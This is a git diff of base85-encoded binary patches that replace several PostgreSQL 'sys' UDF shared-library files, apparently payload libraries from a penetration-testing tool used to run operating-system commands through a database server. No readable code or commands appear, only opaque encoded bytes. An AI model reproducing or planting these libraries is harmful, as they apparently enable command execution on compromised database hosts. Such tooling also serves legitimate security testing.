zgVzGnIL_q%c>FH-1Vt+mlBWptmIpavMl^gei(R;+zyys1;*?$?rzUg#*T{3p7#iac zwqD_5Nm^{1wYAVpIW8Ho%8oY{o;Uo8fJ&O8H_-R})OGqr;JA;of#%j{Y2Wao+w+Y| zZ6UT-fm#?z{HyaBPdJQL`?9D@2xOW8P1$MYe9~P1X@E_UFV7f>bRs|{)%9Nu?Ly9VMj)@Z?pj-x70;~PRiB8_yB+tDa@M~jQ2`Q;)rs(N z&2O(A9~c%9F80cN*E+#A{)=5l^^S&ls^H>oP45BjS(WrcHzS0IeEftp@Br33jvUf; zdh8!mD#A&b;Ig;R#_-2ZuUNiQPaku4Edi6tq1mXBoy=b;^Nu82f9-N?yo&RH)f3}Wy6z^n=~P87eSt}4Ov#7gfVcxBR?o15Iqq*5yP z(vC7mU&8VKJ6^BN_mb!f@D5QzXljb(4z`;%hQ!rUn)pJWrWgc|#{*ze2S0@VX|w`e1d1*`bxf=yUJ>8WvTb$GyX4>(}=Q z5QO--`-`5uDYRg`CxA+@Ujy6YE*ak341fho?PP`I7Iv%3r!LTjqdvt{5N`?4SD&1I z)4lKb{F9~4_UoI|{=o})jqxqLG8#7!NdY#aAxFx77yNH3d@*$4AZqdjIf?*=t(xz09aumMZdL_MZh82@|z8xlrmtaDqMr9#^sKuYKp%%N~BWLe2mH literal 2639 zcmV-V3b6G((z+@r34Vfb^zl6^(>=sTN?)rZXCMX#NkV8retOT6R>!hz=jO#g0VVGB z=RgDoC3VwpV+c*JdRG)L2-~xUocYQaDu(@GMU-_ zWeg<>gHEW-@enMZB(43TKcJod!q@6i-LH$7Cr%O?;y6lm zDaZk5bIF8BNtX5xrH3OTGoyf&n z;T)8Ytij;L(14%j5&*7BFPuIGRcQmy8xCD7Wd*0d_%a{uOmA*?vFZ>JG_?I%Kzvn8 zE)koqjJ4=G@{?hM*Q&Ry2)Fk1B(u7+t~9p!X+1>l{Y|X86_eY=b=juBF5~(swM}`O+Vi{Xkjn9HOLkq~cSAkX3%Hkd8V{#S$M2 zfBiaXT_tR}X1Srrs$9|fG-|x0;?E6b;%}&%)849Kt9-2Ln`dCh<5wEks&w^F0&?7? z_N&pJF54~3kuW!2;LJ0g8;-zc`vB(fMmvSy{uCnYU%lUU zSN64Sp18mnj80A)pK$wKxQpSR;;pjXJ=KGQA{i_XZ9X=;P|>`BTbyY-kLju{+WSA= zqSB%?^0;n8q)%7j#N#Y@bl7DuEb)TuccTh_`{31wz`E*wM>t=`ojVSBh#Po zkYT#4;8|FP$*x>`&#KFNbT6&!0lFTp z&;;fn#pn(VP|e}D5u(vnH=T?w;MMQb$Pml}oF0+2ALAI|IAX_i2fIN#BwU7waa_p#EM=W9}bg!e1PoIybL#vzN4F;^- zWZsNvzf#!#a}A_1z$RhfycWy2cmO*IR~*_gd}|gC@JwwxT%aRj-fGJkS2`CAF@RjD z7lp!hG9h02>>`w7 zBmH;%`_Cl?)=6$c_3N1hOYkM>Mw|c)&aQ$P*5g*&={rvbKNVT z#!DV!Mc?+ zD_@EYc(BA3MMpH|nD=)X9F$~otF2G;<=3_(u(4Z#?NfY6HyeG;25aA!*#bMJRG-HS zfc8J(0_*Dk0NfARD?mC#k%l$KtRgpJJ``OLq*$r(!zHjb*s)L{-v(0L_|0OR8#~@2 zjC=26F?vn9ny|qcIu9g+@T)l%<`>zNX9rI$sirrTU;8I!VaEf<`&ubITe8 zbptPcfX^s8>VFt!inJw_ei=~7daf~E+DS>oBXDc131e9TW?hOhm&!ODCM ztGS;$nrg=&kO|DM9fC(iJDZmuU)u99Hb>$7xQr_kVG*wJtqc6Y{%_$R08E9`SQ8Yu z@joV-LT@lAP+G?lCtzL~HE*hywi}+qrZmmA)y*ZB-pcnqC>OrTcM<@|w4TkMr*jv@ z=&L+OC*siF6kEQS^t07D$}3+&5K61WA+w5Oh2+C|D?@_2RIg970*yN7t-(8XD{K5q zot8eF%#Bi{{o{)z=77B@O^A0bxrv&mkTFes>J|Z2=#TCr4g>n zb?!9M1n$ifoFf<;L~pozRz@~7ykm*M%AY8`fr&FpATwK^zn$Vl#M0(m z6Q#wA!LE?JQItWQ2!&haTq5St6g<$}bf6?^!eNxL6<3z{oeSQE+aBa~KWZ3-RKB51 z>6qd8gtLU~+3t#l{opoAx6~uOoA{e35_Korx?b+r5FAc7w+_X9mImINF>7RxJvo16 z;nI(z$^q!SowaG14V_9Jx^bsZfXc;|C4*cldN=<4pMtH>NNURkq^G9l^L2Mtl zs}WI<0ns{!WINVi7sXZ@>qrduZ#v3U3h-eZFb}$}_5$J?pd4ET)gwD?oK7iaDx#B( zcJ!7~6;iQ@Id340Tq{4Fv@o4AjK(lSaDvm_Omg!Uev{X*R8p}%!I}OV_!m$6| zr!`f$Yb9O|)Y8baF>PV#`UP4FTaqBb4`|5;re`O0G@3xO>Z|krkdbIJ=&P?wyJ?h0 x9!+mdc;HefNv>NY(|+U#?h4aD*_sqW3NnZUgLULW2%;Y)F;bwptX$gU@jD@0IpzQW diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index 3b030e70b1f8815ae6b47051821a57e6e9340df7..c56d766209ac4b56a3d8ba4f6e211adb7fa60c7d 100644 GIT binary patch literal 2640 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 literal 2640 zcmV-W3a|A&(z+@r34Vfb^zl6^(>=sTN?)rZXCMX#NkV8retOT6R>!hz=jO#g0VVGB z=RgDoC3VwpV+c*JdRG)L2-~xUocYQaDu(@GMU-_ zWeg<>gHEW-@enMZB(43TKcJod!q@6i-LH$7Cr%O?;y6lm zDaZk5bIF8BNtX5xrH3OTGoyf&n z;T)8Ytij;L(14%j5&*7BFPuIGRcQmy8xCD7Wd*0d_%a{uOmA*?vFZ>JG_?I%Kzvn8 zE)koqjJ4=G@{?hM*Q&Ry2)Fk1B(u7+t~9p!X+1>l{Y|X86_eY=b=juBF5~(swM}`O+Vi{Xkjn9HOLkq~cSAkX3%Hkd8V{#S$M2 zfBiaXT_tR}X1Srrs$9|fG-|x0;?E6b;%}&%)849Kt9-2Ln`dCh<5wEks&w^F0&?7? z_N&pJF54~3kuW!2;LJ0g8;-zc`vB(fMmvSy{uCnYU%lUU zSN64Sp18mnj80A)pK$wKxQpSR;;pjXJ=KGQA{i_XZ9X=;P|>`BTbyY-kLju{+WSA= zqSB%?^0;n8q)%7j#N#Y@bl7DuEb)TuccTh_`{31wz`E*wM>t=`ojVSBh#Po zkYT#4;8|FP$*x>`&#KFNbT6&!0lFTp z&;;fn#pn(VP|e}D5u(vnH=T?w;MMQb$Pml}oF0+2ALAI|IAX_i2fIN#BwU7waa_p#EM=W9}bg!e1PoIybL#vzN4F;^- zWZsNvzf#!#a}A_1z$RhfycWy2cmO*IR~*_gd}|gC@JwwxT%aRj-fGJkS2`CAF@RjD z7lp!hG9h02>>`w7 zBmH;%`_Cl?)=6$c_3N1hOYkM>Mw|c)&aQ$P*5g*&={rvbKNVT z#!DV!Mc?+ zD_@EYc(BA3MMpH|nD=)X9F$~otF2G;<=3_(u(4Z#?NfY6HyeG;25aA!*#bMJRG-HS zfc8J(0_*Dk0NfARD?mC#k%l$KtRgpJJ``OLq*$r(!zHjb*s)L{-v(0L_|0OR8#~@2 zjC=26F?vn9ny|qcIu9g+@T)l%<`>zNX9rI$sirrTU;8I!VaEf<`&ubITe8 zbptPcfX^s8>VFt!inJw_ei=~7daf~E+DS>oBXDc131e9TW?hOhm&!ODCM ztGS;$nrg=&kO|DM9fC(iJDZmuU)u99Hb>$7xQr_kVG*wJtqc6Y{%_$R08E9`SQ8Yu z@joV-LT@lAP+G?lCtzL~HE*hywi}+qrZmmA)y*ZB-pcnqC>OrTcM<@|w4TkMr*jv@ z==Y>#?1KF@&$RiHu_13$Hbf~|HX;*T8x$&jc6>Hdv*%pCCAWZsmh9?m)acf1vqz+V z0#HOguJ1}=m0=blhUla6Ln~nWc>Zc`At+gi3ldMg0DIO>nU<82$@n_JKR<#o;Yq>C)(m0wXdHL_qr9!BQ=ntvI z@DPvM$?F&k+wg6?sfcxu`Eq~F7cLJwgd1vuMy3wo1 zfIR`R*`LOD%#$NOrCPiZ_53|~8$&!wqj)9n`*5US&x2Q;-KB7`-=3m9!$F6d^GyUw y4n6~aeOXIUM^{%RQV_&*&mrMsS((9 zw_(V+EtdKNM+xxo_jskY=zyu*iHHB+^sTteGzg?oGWH8Kc$CzAkXp_lq7YZ^QdNom zfNe6%d=Q~#X3ojJ<-u4?U|4)`yNmijSx&T!JXt~RU6KKybk*=}AHadPS#_&K-gQ8h zfOPe~=!;OjqcG}tvU6m|Tm53^;j>uP!&gb`IZ7Ba`%J+}txot)(j2xqU79hV8=!z= z{4mfp;3AZo?3=6NXSq*Bz-O2A^Z+gNIJL`i*}%%n99XG5_d+ww0QtGq_|W>au-7ojiRZW7T#zpilFQQW;V@3Mm36tC zLC&L0i-efw*(|k3?s>2MbXR&?w_vU;4#=zDg|Vq?wjfeh+m^Uchtep|5#1Va#cKI6 z%nMsX89qfkW`fpW5e#AtxZaWXwOYb#M8ji-->sl1IyEkS_o>Pf#Ih;hdb-J-G$Twk zQDK9^(&EI0YRR7+)Wf^HUcE?U4_ztPhO%KBC=Dsn(|Z8!Fg&p8mjXI}6ob4_R&yJKKBzobLJ^eHqGq7k{SJ$db0_&n2U5WJmG z$x6d=g{5f53U#@(FVm00@JqakEN7!()kX#erwj^aOrmHcp|&%GtCB@@fARYmb{*M) zQ4LSq6a12(Zc(ZLBp8dVP z=tbrwNX2Vl*GgD-X#7Kt8lO8qXeoJuF|1_K^2Ul#Pfqn6`-aRQ*e9I{H>!cVW-r}F zt%aGlN<*kD=1?2W7e9JH!nC0O-q?T&4YK(08Z&9ab&z^MN?ND1)W>-|Apf6>hxUT( zAV9vWrCx$cqLxHL^VHe`Jx!RoK}$4KNMuRD3{_6z1>h8XclQ?m<6EwO*E$e6N3Z$l zM=&2xcuB$H9Nl26!@)Qy%c~Pupr92}oZanJ5Sj;`G++|!=`h2e%*Q@^<{5@4^jQNMP z2BQTBPl$!QGE`M*&~HN#joloTxEYBqg;#!1t?qrvGx2)s=LcE{!(S8?acjS2YJzcC4D4`OL!Bx)#S|wdI)@C{tQYLP|1>280K%Dav$Q03a^JKa zrZ43ktO4uKLz*3y@-731_=UeLl?@9x*KzH;rK-!jH!_?%L~VZUQ}r#sSQ!tTb|VY3 zihiB<4qn+@}b9{rYAE6YIwA=jOp%Iv@w_76ky02pA=YyF97r%}R z38i#Ae6c(wTMU0XVX&UuA5|*jU+nsle^F%bDU-Z|hp!0T#y|F2!tqdP;kZgA5(OsF ztL%Q{#J_=*7W=$5#Y!8pnEJu`kIRf|&#$PAZw0XSpe8n&dmNLnr_%Fvr+GB##UZv8 z6N#zb==y;gx%qm7mc3c`7%b#W9UgsdJ>fiommtnsCvlR%9SGEHJE>S({1_Zo-18|< ztwM!b$>A@Im&mW+<$;|C(CnKD9loEn)1&;Lqy~%0xu{GoIdOBU14qt0WGg|!pzHe{ zA2f5UTM6UEHZ6eO*klPQ(5x}q9Si?<+)YQGm*@%@B6@;(!@J4WZtCHeBrB;**&l?w zx~B}#dA~$#_^oVK(>e7z7GB5$$5T?Z$k2P<0|AXqhPoO>z@(vGL%Op8^wA<$SC;DL z2@J;EOt6lZWd^hI458I(wJRj>}-*zEH%;qUe+7T{Pe(Ea;%(K?>S$7fB zCHP>c@YABA1iM3!i*XQ)qf)GfiHRM6-{C-UGd|zbf|*;UiWZEKkt6+e0#`!s`_e(S ziMNZ}07cymPsxgt=OR_q3|!I6#kDndr={&fWr%}E=QZro#ul2eSx=BwpEqr*Ak>Ndm(;_A8@E+Qhma_ZiShuXt{g+ A9{>OV literal 2018 zcmV<82Oao5($XY6HFlzKwS7djS7AyBS?%)(E8j4`&SCjZ@h)jZ(s?crKu8rg3=N*` z;y=e&wTo5~>qzetuNh)|)|~YWBZA%xo& zp5Q*9|HP!m{XD+sb`FQ7Ua(p^u(XnZ&Q=Y^zw0hzf@0m;0iP@2pqS_gs5iu{z$e8D z<%12Svl>dO@!E@W^O8~z(MP6ip?y$&krt0-fS%oQ*&J1Xrgod*HsYr}?G@1-Yu4vE zuEmY&UnuCiS*U)-ytcevbX|gk^A0$@enqQJ6NsOUzhpi3&bWpVp=9{wHQ-;>%Gz6% zK&w!pC*`8-nTaR7Ct+KPtVNS}Ae<|2vMhM&R;)`$@yC|@bCo_tk?QZ<+Z8~y?Nyk) zZp*S6h^3{};|aS*mRXM6TT*Kdv_X>|H0`C|{gH@DnI%I4*tdmZz4s>1Y5hA<>Tl>| z&njkdBO6OR9-{X_J_&PJyZ@}kkAKW;JmW&A@TjqUITRC2&5Xnnypjn1RlnHCHv(}7 zYebF0s>0=@Ma+&!*W!kbWSB-|cYO%?skd-WD=ZY?>0S=`$*!@I9&}-p%oruz^rcrM ze{!j)^l>v!p z=1qL&V~k+(~92hrL&Ss2LF zQY>=mDcPK+0l66~?Far2;M6{aeyI|}8+k+!_#WmPbBDQ3Vn0d1^{c}MSGIgfo!o$o z(qQN%Fy%@?_)ke9Yu$dlAi6a_5D8eL9;tPN@#nWg26Tnf`h z)up(WWk$Jq<#8teEgEz{x|D(5@!gSM4wJ>hAQorB4X|5bWnZ@8*XBeH8rqSI|JI|; z4@Iy3rhmV9n6pYki}d>=5=e>cLTU+NazRJIbaijTD&++!bk-})*?ypZuNpBJXsYPF zL=hr=LTt+#ZxT0!HN0Ff?xD2+3282YQEr!vg~+-_kRL8G#_{VoM^ zy;`qE2N??dN@=Mo$T1u!0db8-ia9cPZ5`M4V(Bxjq(yyq)p@>8)QZ9>#u!^^^x3AA zDW()sOsTkz2yt6!s83=rqSy_5-^s>xMiy+Y?J+r821TzQiF9DpgHj{frB*)h3|m|iojxsG4e-KLiWZ=bI! zCZJ_$e~Q4&io7?=zweEsyw~vXfKmehmqX!G9K{=hU-}2H_h+xM zAUW*fKFjTx6rhs;c2egE4In$>I7QEQ2(Ya28Q_m?Eodff2H=n$dq>?b9l1-Y2Uz76 zMzgK!^H7HwREW3?Ki430|8&CFm<^$QC$CyRG^ot5INET AFaQ7m diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index 43f7cdc55d986c43302798a6de364a57a45a5c53..d734fff00ae1e9781ce2fbc18f8c39c1383f5e9d 100644 GIT binary patch literal 2016 zcmV<62Os!7s`3RLI(w5XHq|-7Alr^1LeqA}_snnO?@Ge=Z1Ru?B&6qIpLn*jFQX6N z8Y`X5y9&JGS8ExIuX^}}Be)XaK-Ew;2fgN+>`}F8Vl=LCW1-ie@F3S3{mQd~r@y!M4D@PE`W>s16@kvZ__qn-#2|kOQXFC4 zmWC+vY~F7Z88vG(;spvN96ARnp7Urb6&jHbEXt!dIJZM@C0#NEU7vWb;m~jS~rM;(F|?t!TyB z(h73oV@K?aloPzw{}9C%t$bXZD8IAMu{lVDy%`6drau%ld++&2@)t3LrS}_nTEWo# zJD}Jb`h%TebfS81793D%2}rA`*DjN9@2L{5!O{E+mcNYv&uvFSDJNT@J~#it2TrnIJl^t?eOgUZW;=G0Y*YgJ`)> z*d8uT?zJ+yyHicZt`}tQZHroGl3B}+tv}2`EoqIFEgd5pw}*ji6DKRJ#ei2aS-60`4wdVhzey80+ ztp)t*HO<*m!?I5Is?2l3KD_-VX)xv^ST>@sb@1p(vAJv}ZVY-AHSGPMU@>~+BX!P50>OCzpwvTbmF);DBwc>4*Y@dZ!}-Ds>KEtO)?168Fw- zgY(jdQKBnG=YAHMR{a3kj||mrGhTi|{~Nr=Ylexdbqdm2)}A-~^14MVH%A3F3XtRl z0fcspR9D`g#KCQ{vK<&5TljWd(-H3D$ANmH2#cr~j7{BPTS4K9!zJHkzu|O4yV)_9 zW4vzA#G!Drmb$x6g$@*^iV%5bD!zL-a@q)6dLA+rz39J(*pd0F)@12u2c}9?@DV(% zEzvQU)Wi9YJNSz_lqXhT=TqbgEv9);TBHoEEJag<-tL*RRss|iH$scJgf)v#+t^MV zM#AGBi=;e2fT$ES`4-h*L!pLn+zTJ8xYms=pf86GWnwjxQ(K^G)cL{ft+DD=QkmYb zZ)~T0G~4)!)wCtAo~~`fkp-Uo#F4*`r2@YP$U#gWg1oxuc7xExw1*AsBle`EKMVVq z#Em&Wlc8fSy7Jm`9LEx)YYf{eH#G0akcgn8qs1*KKupwxiS*fzA{& zyA6bV%DL$qT=#gohOCkNVR+DYyqH7Y^wxL9 zJm$_D&kzTiiITZ%&mC=m%=oy~f&qdgbeW4Jan#1S$r~I0#pU~s0$#Xv7cNmn#)k>Tu8(LaGVnqMo z4~uccjvNyTkRA4aQh&2!)WkZ_bWu@6* zn&94=Qy{ly-Doe4r)6IUd~{IwU-V)oLWzHJfWUD;|Du5FZ|{rmx2GWU$5+~`Ke(%D z$f#rKs1VYeBeO_2I4j<>Z#IZ6-kZ_}P yx2XTpt}-)~lH`1SIN#GAE|A7#BI~#>i7npfwd@D!Y?r}OjyEaH)x3HZ7OYk0s{Mli literal 2016 zcmV<62Os!7($XY66@G$vHS`4Y8vcMGI`dcO*vWpj>}&tUR@a^fT!h9zuzjcIEP^ua zAP$qv!z!J_cy0*ZtXsvm8J!&9IQ4NBD7g2}?{J7)SP`Ic8-ezL-zCOR{_BoKx&%52 zhr$1tj)tOGjRy=(xQUChnXJvU$C|sIq@IezHqm5Ff<20}I)vZo`<67&{snOfDm*~{ zxq~^TZ~syuBN9IY`Q6}7ZDaK(_=H(K(;p^K=_a*Gluw1z;VEy*7}2OoPilWBe(yZj zpT`H{4q+=m$`Ui2de_>4rDM%u3}g^Yx_7!vXhT*%OE*&`Ue-XZ^)o0<&42y*u1Wao z=r4TY8)wa}yB4j0{4w|>mswJrP@j_So;+F6zBoFpoEjQ61JBrI-4Yna)gSF(0&JYXE<7FscBgY}5Ne9d>2Y-2(w}!D ztSj~|YUntzd8qzHwOQ&W!hffwko#1)W9OmCkclU(C*gS0Z5;EgoT;u*s=OH~coIEIhOhvyCT{C!h-J#EM5muhwoZ#& zTvnT$`tF0eGPSx~{#1!9URLW4v~iOkG+lylsoR8Txr|Bt12GpK>n+Y~(Em{iHD{q< zUPYmClZKhD4}oAwmHNz)hG>ch>P1u*sy`r$YUZ3&tc}SFZeK;}s@#M+AjwkLHv)0T zd_;{ttCHzdMa*tc@n9v6{FXrnJOhO{+S?8@i2cA*CK=E@VWjrpwq7Na%$OwI!o z=1DP$V zQY>=Wso0$s70Deh>xaJiKkPh+CTSkS8+l9^_?{*kGY7d&Vlhd;HLIgw<^V%;pggqj zlQ8HdFojA%_o z)g|4_8py~7z>{;ukm-HGMx5LSMm6_#TNj_5Pu1p0$(cHqF42S|H=tEmRUx zlgz!!`w-+X>u|9(9&7qb!*J24!t=;kaR#7r%1u#U`7(7Ud)hRX%OG8C1Fsx`yMNoh zn`|nJSSEaV0ClmSMk&$eKYdAK=5V>>$XGL-bBt9RO>$Puq;jRDQdKWOgA5V%5!Ulu zxz^l=DS`@T$a@FORop%6wJFpRlXs5K9PcPhBuD%xC-M>_MG-fyiFtzFh zd8AjZds5HJ$KX(ah&UD?`{Vp|!r4?v1DW66PNclhr3t)g2%ukL2sg|(j8h3|Ir038uE;?7T z-N}=Etg(o->?zO1R)TAovQNMJUUxBd@UF^vRU0EfzR7~M;y9YPecd|t6W*Vz2umz3mHD!KoT zKxwuqH~Pi6?~yC7=8jC_z5tJ@$FPFEpC_>guwiXJt+}hcb)xO}j-mtXTh@hz5Dx0i z$E*Ymsf2AV!qWRwGr|M*Xf5U#4H4nU=%|5$jKDkyu7&XxAg6d9k~pxxnWn`pJ6Yqs&k-bZ)`StT8hVbK9 zT%Rd-u64@nApgM08?Pw`twf^?RZ?YSsYjhNg`~&p;euh`0{@b} zFQuV_=W9$k*{hW=XZM%w66nYL1ws=~TJLgkTM-5fgY7?z?B|fQyV}c+~t`cI8>7<*@OSYh$t zcdJn4p&0^SlRq#+ehlZ(63mpWgfNR?AzA`cm^YCx2fXS7wMwI3URYG3J#R(?`y*8X zzTKoBm}Z_*+Mo11I)d^&%F8F(yJG6MO5QGYyGYS`*Lv4PG^p}&Y8UE6^zrT3N}$L! znZe_zX$84vrAQ91h+s}qe^qVDWzlRVI;mb$uf<>${DZyORmz3$&xZlh=u*r6JeihT z@{Mij&@l7847OP+L7&!z+N!HyQ!bA<(=xRZLu9)K)lreTptaL_AsY7W$B++us#UFY y&xqdhfj1(+k;Oqz0{Yz^RrN@ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index 2c49149d0d5e57e9dfa5f9b4a2fbe6ebf2633cf8..da50fa8eafc60628bb5e65f2eafecae813063e33 100644 GIT binary patch literal 2020 zcmV1cA;n z_ayNPTAQ_OPFS240<>%dChsSQm1mu(#Pbj@mmQ5SuD?vF z;BE52Q)`3~>4S@?Z>o4qU^skmLyP;wn1*!oygb+w7t>6Fy!f|{hc*+laX0K|G;hUO z`5jJ zX%CnjgVvB8%Pf zOOH7CkFS990=Q0{H;U!+OZRb4z$eo1hNjRq@Qh=E^K^<7;N?=EPJ&(vV&-;4Q<6qH z+CF6?o2k1cX;4>2P*V;!m64Nqj#q#mZWEi!!vOdZ5zEmr8 z6RoxHx(%DhP1Y^r@;zS4Y0@zEnWKi@UH2rILARcFKLylHX-x{n%jr zbngcIu20|~TeQ1eQo4e!5SX#}1I{4(Y6}U}O)ge`Gk#9oyOg7W+z5LNu-+&_Bhw}U z*A_Ll9Q3VoiKmK2gTIpHcXP5GQs^%o(}lH2CKiex#%`Hp5A5qTsc0yMak zG0k6zc}*2U2I{96jnx1;cYFeh{aD42Wr|SI&c<>}`ok4aM=J!bC)?RmVC;h{n!>=4hmTkq0GN}2L?pK_$d}zGL{6$19PIF?J_*eJM$OH z(aQVwhqH5{Ba?{)$6IiU;Cpft3joK<`PS7}T>m0sDDF)4t=RY=bAAHD#;Dfkb9D2O zR;H0e;WskbcJu2U+F(Q5Wne)mOuY$6$#X3n=r}2QmzOueRE%!`oM?i?^a)44}B`>aTywF4^1T$a~L_< zldhGmg}3NCn(=*&SCyOuCRcuGgC{n&ybT+Ux+1J)hlaG3+W3rqKx***Yh9BHaFt(u zzCDdEU!aM(cK1<=f+Qnf02|eFk{~vDW=k=uq@8h`!wHba<1UY<-&AJ?lKV!B_el7q zTokLg|2#DLqZTgHIM`4y?4v;FH3Q$l)tZNm1B&5RBM_rwWsHBVa_7s3-{)E(8!idI zcI0=#u%0O;g1O*Jt%~s&ip~k`bMGh)G!bQ^S(1b08-=sY>K+c8Wc%MACm%ikV4lrt zBdC{1-UtvT`Y_fqEZyEDIIt-2^K2<`%ivwiIiW0b{tZLeLLrlZ$4_@GwMVg);-ZuP~&kHbBvbmr`{I z*x+wAnjpM`iPo&g#|h)lIw%;C$JYQF8r+(_I)g!}q34DO0Q2?snCGF{Z1v^*vzaog zIQ&^IeMOaKiB8Go@K|69xc9V4jSb010XM{;ZT-^RF^igTAzBrhrd-i&-;Um_F%VkQ z?|OSF+$zgC@iQLK53Nwfa4^x(fB|9rfHQY$n^Jh!@99RZ`;RsIWKVr8JWL^OQD2^<|nzWoOG|m8;u3iYA$~ynH0(F$!DMT2w=j*O6@>lTOhkK_ZCPf;()_{b}xT#LYiOnvJqDP59>!4)o0CHd7Yh7Df+ z2GW{7BO!xPc9;HJ&t+h}#IwVVi8yGGt`iZDiTzApLZqGn-lBD<7LVO@<5onOZ9l_NycXEX5BrpRrMCnV`toD4j{L$V7+3U^yHb$rg87 z9pzS_lyQodSVa4i3Z?tLb+E56mQcFeIlQCLIFVumUe5-mx?+s|$I>kwtvG`()}L*N z&uHV7P)fNY)24-}7m8VJPd#lVK&r;}qN95A#2ooDIM!X)zuAhsy%Qa?2^Y;q8*0=H z__q8mVAVo9TSsNWMQ5jFyA0Un1KCL7T(c6P_I-P16Jok``eYqPyc)r7el%P+1m9BC zwLDjg_kC*|4vZ+7ILr#+2DUP3{A%Zr&w~HA2;XHM3?D%3Ve#ykJ-4e{5&8O#KY7LB>Dp|!dwz$<9 zF>){CkfV5;F;s#;ZIU8^(MP6i;f+##kslAmm1vPJgWc2#cBgY}5Ne7{XyQdmY@Cy& zEdHopzo7cu+Z8~86)3J-;Q?5g)uI<1I-H8E6I{L)SgQXHw+URtwWZ1 zw(z(9X@WYi9Gt@!SduS%5>=05Ub7lywQamW(vg{kfv~ImeGyu%FoCuDv5!Z&TC4oi zWQr-RjE=p*IGsS9PpZVyWb$Ad!v^odyo260h^#`R+;N*hRbf-`X8pc;;e3w^m z*&kRDp^UX9okV%B>hz(9A+c`AbaEG=CIq`s@}y+5m_V%yDPS6mS-61lF=8*Ch%q!C zAMmq{#bVq#J7!?sNFJx&r)LH?8leZ^&o%?6)cbk_DE2&Rz0%O^OC6-+u^;rtgmEQw zYmJo7l?aNGPWKSe$Q!v7XZ1H`TtR%7RAz(SgmF&5^P7gq4AwVP z)Heu(CefpF@rSEtth$4+bW)EmXw4xVtEH4_2@{)2#ZRPGHOb{Q(MSoW${?2+x9DYM z3+Pda0c|v6DetyTj`TeUO<4?zg?Qw#N{>N=&F4>fz~&oJKMN&~2;RsB;Q6~2v-LyX zJn{P=-0(L4x@hdO&|Ak%h4?poArDALqV0l6JtIoOfC)Ey9g`KE08*cl*B3I&L(?|v 